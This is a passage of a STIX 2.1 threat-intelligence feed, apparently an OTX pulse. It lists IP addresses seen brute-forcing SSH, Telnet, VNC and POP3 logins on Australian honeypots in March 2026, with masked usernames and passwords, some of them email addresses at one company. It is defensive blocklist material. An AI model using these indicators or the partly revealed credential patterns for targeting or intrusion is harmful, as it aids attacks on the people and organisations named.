      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--27c7b285-20c4-4738-9b60-6b5c4f638c8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A.. Usernames observed (masked): A*******************p, G************1, U***************************************************************************************************************0. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--c4ffa596-736f-4ab1-ac2e-2a0416435b7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Passwords observed (masked): 1****3.",
      "id": "indicator--4a83c77e-9e32-4b4e-9c9c-f625dc302f98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.105.124.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5900. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Passwords observed (masked): 1****3, a***n.",
      "id": "indicator--22436fc9-e2f9-457b-9249-6c0066846c3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.125.213.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Passwords observed (masked): 0**0, 0******0, 1*****7.",
      "id": "indicator--987b129f-f0f4-4a9f-a50f-6a543d64fa39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.23.3.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--a8b3d205-906f-4bf5-aad6-6068ce4c10de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.251.191.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): a****1. Passwords observed (masked): 1*********f.",
      "id": "indicator--7500b9e6-72bf-4d11-abd3-2f6ba328a0fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.76.112.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--a648389b-6c16-49da-b09c-a8582124a68e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.226.122.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--1f5c9adf-f0cb-464c-8ff7-c8aa813b5759",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.226.78.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): Z******5.",
      "id": "indicator--77402e31-330f-43cd-bf8b-4f5b60276fda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.23.180.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--6a9abd1c-1dcc-489d-a764-e3088c00ccb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.107.22.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a****1, 3**********4. Passwords observed (masked): 1********3, 1*********,, 3***********4, 3**********4, P******d.",
      "id": "indicator--d4ea75a7-6fbf-413f-a62d-d33f55d16a48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.184.75.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T04:15:14.000Z",
      "valid_until": "2026-04-04T04:15:12.000Z"
    },
    {
      "created": "2026-03-03T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1*********f, 1*************#, 1*******d, 3***********4, 3**********4.",
      "id": "indicator--b0798e3b-b949-40a7-ae21-36503f2ad600",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.190.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T04:15:14.000Z",
      "valid_until": "2026-04-04T04:15:12.000Z"
    },
    {
      "created": "2026-03-03T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 63. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, t***1, t***2, t***3. Passwords observed (masked): ***, ***, p**s, q****y, r*****3.",
      "id": "indicator--56cd82d2-484f-4f65-8659-083b76475073",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.35.172.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T04:15:14.000Z",
      "valid_until": "2026-04-04T04:15:12.000Z"
    },
    {
      "created": "2026-03-03T04:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--c7a3fedd-5a4c-4958-b42f-ca85be8f21f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '204.216.147.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T04:15:14.000Z",
      "valid_until": "2026-04-04T04:15:12.000Z"
    },
    {
      "created": "2026-03-03T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Passwords observed (masked): 0***0.",
      "id": "indicator--a65da9d3-9992-461a-978b-58603ece7554",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.15.17.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T04:15:14.000Z",
      "valid_until": "2026-04-04T04:15:12.000Z"
    },
    {
      "created": "2026-03-03T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--4ed88d92-c020-46ad-9bf4-bbb7100f7706",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T04:15:14.000Z",
      "valid_until": "2026-04-04T04:15:12.000Z"
    },
    {
      "created": "2026-03-03T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--3393dc3e-66b7-41a3-b0f7-f9544eefcf90",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T04:15:14.000Z",
      "valid_until": "2026-04-04T04:15:12.000Z"
    },
    {
      "created": "2026-03-03T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): s***s@bardengineering.com. Passwords observed (masked): P***********5.",
      "id": "indicator--7998725b-b6bf-4020-8f03-594bc5ae805c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.234.75.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:15:13.000Z",
      "valid_until": "2026-04-04T05:15:12.000Z"
    },
    {
      "created": "2026-03-03T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): n******y@bardengineering.com. Passwords observed (masked): 1*****************g.",
      "id": "indicator--7b9be227-a0aa-47fc-b267-3429d5ecda8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.53.161.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:15:13.000Z",
      "valid_until": "2026-04-04T05:15:12.000Z"
    },
    {
      "created": "2026-03-03T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--3678767c-ed3e-4d20-b8f4-ebcce75bbd03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.37.127.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:15:13.000Z",
      "valid_until": "2026-04-04T05:15:12.000Z"
    },
    {
      "created": "2026-03-03T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IN. ASN(s): 55353. Organisation(s): RAJESH PATEL NET SERVICES PVT. LTD.. Usernames observed (masked): f*****e@bardengineering.com. Passwords observed (masked): !*****************g.",
      "id": "indicator--e43b6586-e693-4cc5-a628-57d880de857a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.118.249.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:15:13.000Z",
      "valid_until": "2026-04-04T05:15:12.000Z"
    },
    {
      "created": "2026-03-03T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): s***s@bardengineering.com. Passwords observed (masked): B******************9.",
      "id": "indicator--8d27e817-6069-440b-93f2-d46bafb307e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '145.239.199.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:15:13.000Z",
      "valid_until": "2026-04-04T05:15:12.000Z"
    },
    {
      "created": "2026-03-03T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--025141f2-548c-4c5b-8d59-3d0fe2dccf79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:15:13.000Z",
      "valid_until": "2026-04-04T05:15:12.000Z"
    },
    {
      "created": "2026-03-03T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): h**p@bardengineering.com. Passwords observed (masked): 1******************g.",
      "id": "indicator--a6f7bef1-c5c5-4cc1-9f50-6670a623e85f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.232.179.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:15:13.000Z",
      "valid_until": "2026-04-04T05:15:12.000Z"
    },
    {
      "created": "2026-03-03T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--4ddcca63-7c26-48a4-8a01-af8a9c1ca49a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.76.120.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:15:13.000Z",
      "valid_until": "2026-04-04T05:15:12.000Z"
    },
    {
      "created": "2026-03-03T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IN. ASN(s): 394695. Organisation(s): PDR. Usernames observed (masked): h**p@bardengineering.com. Passwords observed (masked): 1***************g.",
      "id": "indicator--91dec7ed-fff9-42c6-ba0e-ad80381e1b7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '216.10.250.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:15:13.000Z",
      "valid_until": "2026-04-04T05:15:12.000Z"
    },
    {
      "created": "2026-03-03T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): m*******g@bardengineering.com. Passwords observed (masked): B*****************3.",
      "id": "indicator--adff99d8-46c3-4d11-8e60-7704399ca65d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.143.221.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:15:13.000Z",
      "valid_until": "2026-04-04T05:15:12.000Z"
    },
    {
      "created": "2026-03-03T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: ID. ASN(s): 149359. Organisation(s): PT Persada Data Multimedia. Usernames observed (masked): s*****t@bardengineering.com. Passwords observed (masked): b****************2.",
      "id": "indicator--bf1439ae-f144-4d3d-89b4-7eca8ad71638",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.0.27.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:15:13.000Z",
      "valid_until": "2026-04-04T05:15:12.000Z"
    },
    {
      "created": "2026-03-03T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 214351. Organisation(s): Femo It Solutions Limited. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--6e46148c-54d1-4486-8a32-71f5b68276b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '62.60.226.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:15:13.000Z",
      "valid_until": "2026-04-04T05:15:12.000Z"
    },
    {
      "created": "2026-03-03T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 47. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***, s**v, s****a, u****u. Passwords observed (masked): ***, 1**4, 1****6, 1******8, ***.",
      "id": "indicator--13b8c172-c7cc-4d9b-b5d4-1184f1a75b96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:15:13.000Z",
      "valid_until": "2026-04-04T05:15:12.000Z"
    },
    {
      "created": "2026-03-03T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 197304. Organisation(s): Dilis Grup EOOD.",
      "id": "indicator--b7a4b1b0-851b-4d4d-b140-2b216c2da3bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.236.239.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:15:13.000Z",
      "valid_until": "2026-04-04T05:15:12.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 110. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): c*****t@bardengineering.com, s*****t@bardengineering.com, w*******r@bardengineering.com. Passwords observed (masked): 1******************g, B******************@, B*****************2.",
      "id": "indicator--8a9ffa76-4d71-42e9-b489-d5d914da4ca4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.234.27.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*********f, 3***********4, 3**********4, a*******6, a******3.",
      "id": "indicator--e7536a9a-5327-4a08-bc17-12a3688eaa0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.142.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:15:06.000Z",
      "valid_until": "2026-04-04T06:15:05.000Z"
    },
    {
      "created": "2026-03-03T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 110. Source country: ZA. ASN(s): 328364. Organisation(s): Host-Africa-AS. Usernames observed (masked): c*****t@bardengineering.com, i**o@bardengineering.com, s*****t@bardengineering.com. Passwords observed (masked): B*******************5, b******************$, p**********3.",
      "id": "indicator--5cfa9a55-fbaa-433a-8b14-cc5524ea0eb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
